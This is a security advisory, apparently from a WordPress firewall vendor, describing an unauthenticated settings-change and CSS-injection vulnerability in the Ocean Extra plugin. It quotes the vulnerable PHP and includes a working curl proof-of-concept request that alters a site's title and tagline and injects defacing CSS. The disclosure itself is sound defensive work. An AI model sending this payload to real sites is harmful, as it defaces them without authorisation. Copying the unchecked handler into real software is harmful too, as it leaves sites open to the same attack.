Settings change and CSS injection in WordPress Ocean Extra plugin.

Last revision: July 18, 2019

The popular WordPress Ocean Extra plugin, which has over 400,000 active installations, was prone to settings change and CSS injection vulnerabilities that could allow an unauthenticated attacker to modify some WordPress settings and inject CSS code in order to deface the blog.

The vulnerable code is located in the “includes/wizard/wizard.php” script.

add_action('admin_init', array($this, 'ocean_wizard_setup'), 99);

We have seen with the zero-day vulnerability in WordPress Easy WP SMTP plugin a few weeks ago that the admin_init hook can be triggered by unauthenticated users as well (via the admin-ajax.php and admin-post.php scripts).
In Ocean Extra, it is used to call “ocean_wizard_setup”, located line 198:

public function ocean_wizard_setup() {
   if (empty($_GET['page']) || 'owp_setup' !== $_GET['page']) { // WPCS: CSRF ok, input var ok.
      return;
   }
   $default_steps = array(
      'welcome' => array(
         'name' => __('Welcome', 'ocean-extra'),
         'view' => array($this, 'ocean_welcome'),
      ),
      'demo' => array(
         'name' => __('Choosing Demo', 'ocean-extra'),
         'view' => array($this, 'ocean_demo_setup'),
      ),
      'customize' => array(
         'name' => __('Customize', 'ocean-extra'),
         'view' => array($this, 'ocean_customize_setup'),
       ),
       'ready' => array(
         'name' => __('Ready', 'ocean-extra'),
         'view' => array($this, 'ocean_ready_setup'),
       )
    );
    $this->steps = apply_filters('owp_setup_wizard_steps', $default_steps);
    $this->step = isset($_GET['step']) ? sanitize_key($_GET['step']) : current(array_keys($this->steps)); // WPCS: CSRF ok, input var ok.

This function checks if $_GET['page'] is set and equal to ‘owp_setup’. It checks the value of $_GET['step'] as well, which can be ‘welcome’, ‘demo’, ‘customize’ or ‘ready’ and will call the matching function found in the $default_steps array.
‘customize’ will call the ‘ocean_customize_setup()’ function, located line 547:

/**
 * Step 3 customize step
 */
public function ocean_customize_setup() {

   if (isset($_POST['save_step']) && !empty($_POST['save_step'])) {
      $this->save_ocean_customize();
   }

The function checks if $_POST['save_step'] is set and then calls ‘save_ocean_customize’ located line 713:

/**
 * Save Info In Step3
 */
public function save_ocean_customize() {
   if (isset($_POST['ocean-logo']))
      set_theme_mod('custom_logo', $_POST['ocean-logo']);

   if (isset($_POST['ocean-retina-logo']))
      set_theme_mod('ocean_retina_logo', $_POST['ocean-retina-logo']);

   if (isset($_POST['ocean-site-title']))
      update_option('blogname', $_POST['ocean-site-title']);

   if (isset($_POST['ocean-tagline']))
      update_option('blogdescription', $_POST['ocean-tagline']);

   if (isset($_POST['ocean-favicon']))
      update_option('site_icon', $_POST['ocean-favicon']);

   if (isset($_POST['ocean-primary-color']))
      set_theme_mod('ocean_primary_color', $_POST['ocean-primary-color']);

   if (isset($_POST['ocean-hover-primary-color']))
      set_theme_mod('ocean_hover_primary_color', $_POST['ocean-hover-primary-color']);

   if (isset($_POST['ocean-main-border-color']))
      set_theme_mod('ocean_main_border_color', $_POST['ocean-main-border-color']);

   if (isset($_POST['ocean-links-color']))
      set_theme_mod('ocean_links_color', $_POST['ocean-links-color']);

   if (isset($_POST['ocean-links-hover-color']))
      set_theme_mod('ocean_links_color_hover', $_POST['ocean-links-hover-color']);

   wp_safe_redirect($this->get_next_step_link());
   exit;
}

All functions lack capability check which means that an unauthenticated user can modify the three WordPress blogname, blogdescription and site_icon settings, and can also inject CSS code, including remote content such as external style sheets or remote images, into the blog pages and posts because the user input is not verified either. They also lack security nonces to protect against CSRF attacks.
Although it is not possible to inject HTML or PHP code because the CSS data will be passed on to the wp_strip_all_tags function that will remove HTML and PHP tags when the page is loading, it is still extremely easy to deface a site: with a small 300-byte POST payload, one could turn 400,000+ blogs into this, for instance:

A few other functions in the plugin also lack capability check, input sanitization and security nonces.

Proof of Concept

$ curl 'http://example.org/wp-admin/admin-post.php?page=owp_setup&step=customize' --data 'ocean-site-title=My+Changed+Title&ocean-tagline=My+Changed+Description&ocean-links-hover-color=%238224e3;}body{background-image:url(https://wapu.us/wp-content/uploads/2019/02/wcb19_wapuu_@1x-540x612.png);background-repeat:no-repeat;background-position:100px}#primary{display:none}&save_step=save_step'

Timeline

The vulnerability was discovered and reported to the wordpress.org team on July 3rd, 2019.

Recommendations

Update as soon as possible if you have version 1.5.8 or below installed.
If you are using our web application firewall for WordPress, NinjaFirewall WP Edition (free) and NinjaFirewall WP+ Edition (premium), you are protected.

Stay informed about the latest vulnerabilities in WordPress plugins and themes: @nintechnet